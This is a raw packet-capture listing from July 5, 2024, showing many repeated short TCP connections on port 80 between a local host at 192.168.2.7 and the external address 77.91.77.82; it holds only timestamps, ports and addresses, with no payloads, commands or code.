Jul 5, 2024 06:26:17.115480900 CEST	80	51697	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.115545988 CEST	51697	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.115782976 CEST	80	51698	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.115850925 CEST	51698	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.118828058 CEST	51698	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.125488997 CEST	80	51698	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.831559896 CEST	80	51698	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.834939003 CEST	51698	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.834939003 CEST	51698	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.835678101 CEST	51699	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.840462923 CEST	80	51699	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.844002962 CEST	51699	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.844002962 CEST	51699	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.845148087 CEST	80	51698	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:17.847937107 CEST	51698	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:17.848839998 CEST	80	51699	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:18.575994968 CEST	80	51699	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:18.576376915 CEST	51699	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:18.686975002 CEST	51699	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:18.688446045 CEST	51700	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:18.693152905 CEST	80	51699	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:18.693710089 CEST	80	51700	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:18.696029902 CEST	51700	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:18.696033001 CEST	51699	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:18.700434923 CEST	51700	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:18.705353022 CEST	80	51700	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:19.415663004 CEST	80	51700	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:19.415724039 CEST	51700	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:19.450941086 CEST	51700	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:19.452574015 CEST	51701	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:19.456018925 CEST	80	51700	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:19.456083059 CEST	51700	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:19.457386017 CEST	80	51701	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:19.457449913 CEST	51701	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:19.468333960 CEST	51701	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:19.473144054 CEST	80	51701	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:20.160851002 CEST	80	51701	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:20.160964966 CEST	51701	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.279144049 CEST	51701	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.279540062 CEST	51702	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.284317970 CEST	80	51701	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:20.284337997 CEST	80	51702	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:20.284418106 CEST	51702	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.284418106 CEST	51701	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.284672022 CEST	51702	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.289383888 CEST	80	51702	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:20.858448982 CEST	51702	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.862159967 CEST	51703	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.867010117 CEST	80	51703	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:20.867089033 CEST	51703	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.867364883 CEST	51703	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:20.872066975 CEST	80	51703	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:21.609656096 CEST	80	51703	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:21.609750032 CEST	51703	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:21.717345953 CEST	51703	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:21.717770100 CEST	51704	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:21.722489119 CEST	80	51703	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:21.722537994 CEST	51703	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:21.722574949 CEST	80	51704	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:21.722681999 CEST	51704	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:21.723027945 CEST	51704	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:21.727822065 CEST	80	51704	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:22.438594103 CEST	80	51704	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:22.438724041 CEST	51704	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:22.441276073 CEST	51704	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:22.445671082 CEST	51705	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:22.446471930 CEST	80	51704	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:22.446661949 CEST	51704	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:22.450474977 CEST	80	51705	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:22.452898026 CEST	51705	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:22.457683086 CEST	51705	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:22.462466955 CEST	80	51705	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:23.147212029 CEST	80	51705	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:23.147272110 CEST	51705	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.265750885 CEST	51705	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.266185999 CEST	51706	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.271045923 CEST	80	51705	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:23.271059990 CEST	80	51706	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:23.271097898 CEST	51705	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.271151066 CEST	51706	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.271404982 CEST	51706	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.276118040 CEST	80	51706	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:23.980262041 CEST	80	51706	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:23.981833935 CEST	51706	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.993808985 CEST	51706	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.994198084 CEST	51707	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:23.998954058 CEST	80	51706	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:23.999006987 CEST	80	51707	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:24.001758099 CEST	51707	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.001759052 CEST	51706	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.002093077 CEST	51707	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.006851912 CEST	80	51707	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:24.705008030 CEST	80	51707	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:24.705775976 CEST	51707	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.811278105 CEST	51708	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.811278105 CEST	51707	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.816262007 CEST	80	51708	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:24.816504955 CEST	80	51707	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:24.817754984 CEST	51707	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.817756891 CEST	51708	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.817982912 CEST	51708	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.822824955 CEST	80	51708	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:24.825681925 CEST	51708	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.825818062 CEST	51708	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.829693079 CEST	51709	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.834633112 CEST	80	51709	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:24.837728024 CEST	51709	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.837836981 CEST	51709	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:24.842859983 CEST	80	51709	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:25.551172972 CEST	80	51709	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:25.551238060 CEST	51709	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:25.655473948 CEST	51709	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:25.655854940 CEST	51710	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:25.660664082 CEST	80	51710	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:25.660727978 CEST	51710	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:25.660778046 CEST	80	51709	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:25.660820961 CEST	51709	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:25.660979986 CEST	51710	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:25.665810108 CEST	80	51710	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:26.360594988 CEST	80	51710	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:26.360795975 CEST	51710	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:26.363796949 CEST	51710	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:26.364155054 CEST	51711	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:26.368999958 CEST	80	51711	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:26.369218111 CEST	51711	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:26.369308949 CEST	80	51710	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:26.369435072 CEST	51711	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:26.369435072 CEST	51710	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:26.374208927 CEST	80	51711	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.075638056 CEST	80	51711	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.075696945 CEST	51711	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.202306986 CEST	51711	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.202678919 CEST	51712	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.207488060 CEST	80	51712	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.207556009 CEST	51712	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.207813025 CEST	51712	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.207890987 CEST	80	51711	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.207942963 CEST	51711	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.212531090 CEST	80	51712	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.214828968 CEST	51712	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.218244076 CEST	51713	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.223149061 CEST	80	51713	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.223226070 CEST	51713	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.223568916 CEST	51713	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:27.228316069 CEST	80	51713	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.938642025 CEST	80	51713	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:27.941787958 CEST	51713	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.045698881 CEST	51713	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.045698881 CEST	51714	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.050578117 CEST	80	51714	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:28.050883055 CEST	80	51713	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:28.050987959 CEST	51713	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.050987959 CEST	51714	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.051326036 CEST	51714	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.056041956 CEST	80	51714	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:28.747409105 CEST	80	51714	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:28.747529030 CEST	51714	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.750459909 CEST	51714	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.750463009 CEST	51715	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.755395889 CEST	80	51715	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:28.755705118 CEST	51715	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.755944967 CEST	51715	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.756117105 CEST	80	51714	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:28.759805918 CEST	51714	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:28.760698080 CEST	80	51715	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:29.494579077 CEST	80	51715	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:29.494637966 CEST	51715	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:29.608068943 CEST	51715	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:29.608450890 CEST	51716	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:29.613339901 CEST	80	51716	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:29.613452911 CEST	51716	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:29.613761902 CEST	51716	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:29.614387989 CEST	80	51715	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:29.614425898 CEST	51715	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:29.618546009 CEST	80	51716	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:30.305989027 CEST	80	51716	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:30.306061983 CEST	51716	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:30.309607983 CEST	51716	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:30.310060024 CEST	51717	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:30.314701080 CEST	80	51716	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:30.314821959 CEST	80	51717	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:30.314832926 CEST	51716	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:30.315005064 CEST	51717	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:30.315289974 CEST	51717	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:30.320024014 CEST	80	51717	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.037695885 CEST	80	51717	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.037755966 CEST	51717	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.155304909 CEST	51717	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.155703068 CEST	51718	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.160634041 CEST	80	51717	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.160648108 CEST	80	51718	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.160681963 CEST	51717	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.160731077 CEST	51718	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.160887003 CEST	51718	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.165754080 CEST	80	51718	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.896960974 CEST	80	51718	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.899878979 CEST	51718	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.903831959 CEST	51718	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.904437065 CEST	51719	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.909050941 CEST	80	51718	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.909372091 CEST	80	51719	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:31.911767960 CEST	51718	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.911767960 CEST	51719	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.915914059 CEST	51719	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:31.920901060 CEST	80	51719	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:32.626785994 CEST	80	51719	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:32.631829977 CEST	51719	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:32.735960960 CEST	51719	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:32.735960960 CEST	51720	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:32.740988016 CEST	80	51720	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:32.741182089 CEST	80	51719	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:32.743921041 CEST	51719	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:32.743921041 CEST	51720	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:32.747889042 CEST	51720	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:32.753299952 CEST	80	51720	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:33.512761116 CEST	80	51720	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:33.512872934 CEST	51720	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:33.516468048 CEST	51720	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:33.516854048 CEST	51721	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:33.521543026 CEST	80	51720	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:33.521604061 CEST	80	51721	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:33.521608114 CEST	51720	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:33.521672010 CEST	51721	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:33.521961927 CEST	51721	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:33.526838064 CEST	80	51721	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:34.234138966 CEST	80	51721	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:34.237818003 CEST	51721	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:34.341993093 CEST	51721	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:34.342325926 CEST	51722	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:34.347080946 CEST	80	51722	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:34.347137928 CEST	80	51721	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:34.347228050 CEST	51722	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:34.347228050 CEST	51721	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:34.349724054 CEST	51722	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:34.354598045 CEST	80	51722	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.050724030 CEST	80	51722	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.050785065 CEST	51722	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.054653883 CEST	51722	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.055015087 CEST	51723	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.059802055 CEST	80	51722	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.059815884 CEST	80	51723	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.059851885 CEST	51722	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.059904099 CEST	51723	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.060209036 CEST	51723	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.064948082 CEST	80	51723	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.764595985 CEST	80	51723	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.764652014 CEST	51723	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.874105930 CEST	51723	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.874399900 CEST	51724	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.879390955 CEST	80	51724	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.879482031 CEST	80	51723	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:35.879884958 CEST	51724	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.879905939 CEST	51723	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.880096912 CEST	51724	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:35.884953022 CEST	80	51724	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:36.573549032 CEST	80	51724	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:36.573654890 CEST	51724	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:36.576585054 CEST	51724	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:36.576613903 CEST	51725	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:36.581492901 CEST	80	51725	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:36.581578016 CEST	51725	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:36.581768036 CEST	80	51724	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:36.581793070 CEST	51725	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:36.581836939 CEST	51724	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:36.586625099 CEST	80	51725	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:37.306302071 CEST	80	51725	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:37.306375027 CEST	51725	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.420846939 CEST	51725	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.421253920 CEST	51726	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.426062107 CEST	80	51726	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:37.426182985 CEST	51726	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.426268101 CEST	51726	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.426367998 CEST	80	51725	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:37.426418066 CEST	51725	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.431283951 CEST	80	51726	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:37.433069944 CEST	51726	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.436284065 CEST	51727	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.441051960 CEST	80	51727	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:37.441113949 CEST	51727	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.441291094 CEST	51727	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:37.445997953 CEST	80	51727	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.139715910 CEST	80	51727	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.141824961 CEST	51727	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.248272896 CEST	51728	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.248274088 CEST	51727	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.253104925 CEST	80	51728	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.253391981 CEST	80	51727	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.253810883 CEST	51728	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.253813028 CEST	51727	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.254034042 CEST	51728	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.258817911 CEST	80	51728	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.961601973 CEST	80	51728	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.961656094 CEST	51728	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.965514898 CEST	51728	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.965920925 CEST	51729	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.970726013 CEST	80	51729	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.970784903 CEST	51729	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.970909119 CEST	80	51728	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.970967054 CEST	51728	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.971098900 CEST	51729	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:38.975944042 CEST	80	51729	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:38.980026960 CEST	51729	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.094151020 CEST	51730	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.100351095 CEST	80	51730	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:39.100425005 CEST	51730	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.100845098 CEST	51730	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.106945992 CEST	80	51730	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:39.813843012 CEST	80	51730	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:39.813898087 CEST	51730	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.817572117 CEST	51730	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.817864895 CEST	51731	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.822664022 CEST	80	51731	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:39.822731018 CEST	51731	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.823023081 CEST	51731	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.823860884 CEST	80	51730	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:39.823905945 CEST	51730	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:39.827763081 CEST	80	51731	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:40.516593933 CEST	80	51731	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:40.517863035 CEST	51731	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:40.623178959 CEST	51731	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:40.625741005 CEST	51732	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:40.629158974 CEST	80	51731	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:40.629832983 CEST	51731	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:40.631727934 CEST	80	51732	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:40.633831024 CEST	51732	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:40.634723902 CEST	51732	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:40.639626980 CEST	80	51732	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:41.390281916 CEST	80	51732	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:41.390352011 CEST	51732	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:41.394777060 CEST	51732	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:41.395101070 CEST	51733	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:41.400522947 CEST	80	51732	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:41.400537968 CEST	80	51733	77.91.77.82	192.168.2.7
